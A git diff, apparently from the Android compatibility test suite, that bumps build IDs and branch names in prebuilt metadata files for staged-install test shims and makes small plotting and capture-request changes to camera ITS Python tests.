- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
index 09b85f6..9fee80e 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim_not_pre_installed.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
index c057c89..e00e0c0 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v1.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
index 82422cb..70ea7a4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_additional_file.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
index f29ff0d..fe22126 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_additional_folder.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
index 8f2a136..4f7f762 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
index 766bf19..76f970a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
new file mode 100644
index 0000000..405905e
--- /dev/null
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
@@ -0,0 +1,15 @@
+drops {
+ android_build_drop {
+ build_id: "8572644"
+ target: "CtsShim"
+ source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+ }
+ dest_file: "hostsidetests/stagedinstall/testdata/apex//x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+ version: ""
+ version_group: ""
+ git_project: "platform/cts"
+ git_branch: "tm-dev"
+ transform: TRANSFORM_NONE
+ transform_options {
+ }
+}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
index b88b655..ba4d65d 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_different_certificate.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
index 9d7558d..a0cc1809 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_different_package_name.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
index e5c6b65..a491c76 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_no_hashtree.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
index 0be6a59..bc87363 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_rebootless.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
index f1e7a2c..1399178 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_sdk_target_p.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
index a986691..70a1d02 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
index be1b3a8..10f11a4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
index be9efdc..ec33561 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob_rot.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
index d675fce..57bd84b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
index f3774cc..d2dd61b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_unsigned_payload.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
index 2f7c565..3ec6a81 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_with_post_install_hook.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
index 5bbee67..43416aa 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_with_pre_install_hook.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
index d8a6bd5..f6e5294 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_without_apk_in_apex.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
index 207fa1d..4e9edcd 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_wrong_sha.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
index 6ef3eb5..5391c48 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v3.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
index 5264200..bc44538 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_rebootless.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
index face859..4257f29 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_signed_bob.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
index 84a1dbe..022a4bb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_signed_bob_rot.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
index d62c281..3f1c95d 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/CtsShimTargetPSdk.apk"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
index cb1fd5f..d4a6c09 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/CtsShimTargetPSdk.apk"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index 70904a5..d8ce6a4 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -73,6 +73,7 @@
y_min = min([numpy.amin(xs), numpy.amin(ys), numpy.amin(zs), -MEAN_THRESH])
y_max = max([numpy.amax(xs), numpy.amax(ys), numpy.amax(xs), MEAN_THRESH])
+ pylab.figure()
pylab.plot(times, xs, 'r', label='x')
pylab.plot(times, ys, 'g', label='y')
pylab.plot(times, zs, 'b', label='z')
diff --git a/apps/CameraITS/tests/scene0/test_jitter.py b/apps/CameraITS/tests/scene0/test_jitter.py
index b119ab2..990ca9c 100644
--- a/apps/CameraITS/tests/scene0/test_jitter.py
+++ b/apps/CameraITS/tests/scene0/test_jitter.py
@@ -77,7 +77,8 @@
logging.debug('Jitter range: %s to %s', range0, range1)
# Draw a plot.
- pylab.plot(range(len(deltas_ms)), deltas_ms)
+ pylab.figure()
+ pylab.plot(range(len(deltas_ms)), deltas_ms, '-bo')
pylab.title(_NAME)
pylab.xlabel('frame number')
pylab.ylabel('jitter (ms)')
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index d9b233a..f16145d 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -38,14 +38,21 @@
_PATCH_Y = 0.5 - _PATCH_H/2
_TEST_NAME = os.path.splitext(os.path.basename(__file__))[0]
VGA_W, VGA_H = 640, 480
+_CAPTURE_INTENT_STILL_CAPTURE = 2
+_AE_MODE_ON_AUTO_FLASH = 2
def take_captures(cam, auto_flash=False):
req = capture_request_utils.auto_capture_request()
+ req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
if auto_flash:
